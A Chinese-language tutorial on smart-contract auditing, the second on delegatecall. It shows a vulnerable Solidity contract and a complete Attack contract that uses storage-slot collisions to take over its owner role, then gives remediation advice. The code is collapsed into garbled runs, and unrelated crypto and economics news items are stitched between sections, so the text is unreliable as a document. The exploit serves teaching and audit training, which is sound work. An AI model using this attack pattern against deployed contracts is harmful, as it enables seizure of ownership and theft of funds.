ACK:智能合约安全审计入门篇 —— delegatecall (2)

上篇文章中我们了解了什么是delegatecall函数以及一个基础的漏洞,这篇文章的目的是加深一下大家对delegatecall的印象并带大家一起去玩点刺激的,拿下一个进阶版的漏洞合约。

这里就不再重复之前的基础知识了,不了解或者遗忘的可以再看看上一篇文章:《智能合约安全审计入门篇——delegatecall(1)》。

漏洞示例

contractLib{??uintpublicsomeNumber;??functiondoSomething(uint_num)public{????someNumber=_num;??}}contractHackMe{??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??constructor(address_lib){????lib=_lib;????owner=msg.sender;??}??functiondoSomething(uint_num)public{????lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)",_num));??}}

OPNX:FTX债权人现可在OPNX申请索赔并释放其流动性:金色财经报道,加密索赔和交易平台Open Exchange(OPNX)通过官方社交平台表示,FTX债权人今天可以在对OPNX申请索赔并释放其流动性。

此前报道,当OPNX用户出售其索赔时,他们将收到平台的原生代币reOX或oUSD,这些代币可以用作在OPNX上进行交易的抵押品。[2023/7/21 15:51:12]

漏洞分析

这次的攻击目标依然是获得HackMe合约中的?owner?权限,我们可以看到两个合约中除了HackMe合约中的构造函数可以修改合约的?owner?其他地方并没有修改?owner?的函数。我们要如何完成攻击呢?这里需要一点小技巧,大家可以思考一下,刚好也可以验证一下自己对于之前知识的掌握程度以及自己的思维是否活跃。

多链DEX Dfyn发布新版本,增强了安全性、交易功能和订单匹配:金色财经报道,开发人员表示,多链去中心化交易所 (DEX) Dfyn 发布了版本 2,该版本增强了安全性、交易功能和订单匹配。新版本采用专用金库合约来防止流动性池漏洞利用,自今年年初以来,这些漏洞已造成超过 3 亿美元的用户损失。

这些金库合约将存储和处理所有用户资金,而不是将它们存储在池合约中。金库允许用户通过闪电贷机制借入代币,也称为单块借贷,他们可以借入一定数量的代币,前提是他们在同一笔交易结束前偿还。[2023/3/21 13:17:09]

是否有想法呢?没有想法也没关系,我们一起来看攻击是如何完成的:

攻击合约

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractAttack{??//MakesurethestoragelayoutisthesameasHackMe??//Thiswillallowustocorrectlyupdatethestatevariables??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??HackMepublichackMe;??constructor(HackMe_hackMe){????hackMe=HackMe(_hackMe);??}??functionattack()public{????//overrideaddressoflib????hackMe.doSomething(uint(uint160(address(this))));????//passanynumberasinput,thefunctiondoSomething()belowwill????//becalled????hackMe.doSomething(1);??}??//functionsignaturemustmatchHackMe.doSomething()??functiondoSomething(uint_num)public{????owner=msg.sender;??}}

数据显示Sudoswap用户活跃度正持续下降:金色财经报道,尽管Sudoswap累计交易额突破1亿美元里程碑,但数据显示Sudoswap用户活跃度却在持续下降,根据Dune Analytics数据, 2022年8月,Sudoswap平均每天新增用户超过800人,但自2023年2月初以来,该平台的日均新增用户数一直在50-20人之间波动,2月23日更是创下19人的新低。Sudoswap上的用户活动减少导致每日交易数量和交易NFT数量相应减少,自2022年8月以来该协议每天完成的交易数量下降了93%,同一时间段内用户每天在Sudoswap上交易的NFT数量下降了96%。此外,过去30天内Sudoswap收取的总费用为286,000美元,下降了8%,同期协议收入也下降了28% 。 (ambcrypto)[2023/2/28 12:33:35]

我们先看攻击流程:

法国敦促美国在气候补贴方面保持透明度:2月4日消息,法国财长勒梅尔呼吁美国和欧洲在有争议的绿色补贴和税收减免问题上保持“透明度”。美国《通胀削减法案》(IRA)为美国能源转型提供了3700亿美元的补贴,包括对美国制造的电动汽车和电池减税。“我们必须现实一点。IRA是游戏规则的改变者,”

勒梅尔称。“IRA提供了竞争优势,再加上美国非常低的能源价格,对我们的工业构成了风险。”勒梅尔说:“最重要的是,我们与盟国合作,使补贴和税收抵免的数额透明化。”勒梅尔表示,欧盟委员会已经提出了与美国补贴一致的条款,“但为了使这些一致条款发挥作用,我们仍然需要知道补贴的数额。”(金十)[2023/2/4 11:47:31]

1.Alice部署Lib合约;

2.Alice部署HackMe合约并在构造函数中传入Lib合约的地址;

加密交易平台Hotbit宣布暂停充提及交易功能:8月10日消息,加密交易平台Hotbit宣布暂停充提及交易功能,具体恢复时间目前无法确定。原因是今年 4 月,Hotbit 前管理人员去年参与了一个项目,执法部门现在认为该项目涉嫌触犯刑法。自7月底以来,Hotbit多位高级管理人员已被执法部门传唤,正在协助调查。此外,执法部门冻结了 Hotbit 的部分资金,导致 Hotbit 无法正常运行。

Hotbit表示,所有用户的资产在 Hotbit 上都是安全的,将在资产解冻后立即恢复正常服务。Hotbit 正在努力继续配合并跟进执法部门的调查进展,并将尽快公布调查结果。[2022/8/10 12:16:33]

3.攻击者Eve部署Attack合约并在构造函数中传入HackMe合约的地址;

4.攻击者调用Attack.attack()函数将HackMe合约中的owner变为自己。

咋回事儿呢?其实这个攻击方式就是很巧妙的运用了delegatecall这个函数修改storage类型变量时的特征:delegatecall函数的执行环境是调用者的环境并且对于storage类型变量的修改是根据被调用合约变量存储的插槽位置来修改的。

1.Attack.attack()函数先将自己的地址转换为uint256类型第一次调用HackMe.doSomething()函数;

2.HackMe.doSomething()函数使用delegatecall函数带着传入的Attack合约的地址调用了Lib.doSomething()函数;

3.可以看到Lib.doSomething()函数将合约中存储位置为slot0的参数改为传入的值,这样当HackMe合约使用delegatecall调用Lib.doSomething()函数时也将改变自己在slot0位置存储的变量的值,也就是将lib参数改为我们传入的Attack合约的地址。此时之前在HackMe.lib参数中存储的Lib合约的地址就被修改成我们传入的Attack合约的地址了;

4.Attack.attack()函数再次调用HackMe.doSomething()函数,由于在上一步我们已经将HackMe.lib变量修改为Attack合约的地址了,这时HackMe.doSomething()函数将不再调用之前的Lib合约而是用delegatecall去调用Attack.doSomething()函数。此时我们再来观察Attack合约的写法,发现其变量的存储位置故意和HackMe合约保持一致,并且不难发现Attack.doSomething()函数的内容也被攻击者写为owner=msg.sender,这个操作修改了合约中存储位置为slot1的变量。所以HackMe合约使用delegatecall调用Attack.doSomething()函数就会将合约中存储位置为slot1的变量owner修改为msg.sender也就是Eve的地址,至此攻击者完成了他的攻击。

修复建议

作为开发者

1.?在使用delegatecall时应注意被调用合约的地址不能是可控的;

2.?在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用delegatecall进行外部调用时会根据被调用合约的数据结构来修改本合约相应slot中存储的数据,当数据结构发生变化时这可能会造成非预期的变量覆盖。

作为审计者

1.在审计过程中遇到合约中有使用delegatecall时需要注意被调用的合约地址是否可控;

2.当被调用合约中的函数存在修改storage变量的情况时需要注意变量存储插槽的位置,避免由于数据结构不一致而导致本合约中存储的storage变量被错误的覆盖。

来源:金色财经

郑重声明: 本文版权归原作者所有, 转载文章仅为传播更多信息之目的, 如作者信息标记有误, 请第一时间联系我们修改或删除, 多谢。

地球链

[0:0ms0-1:96ms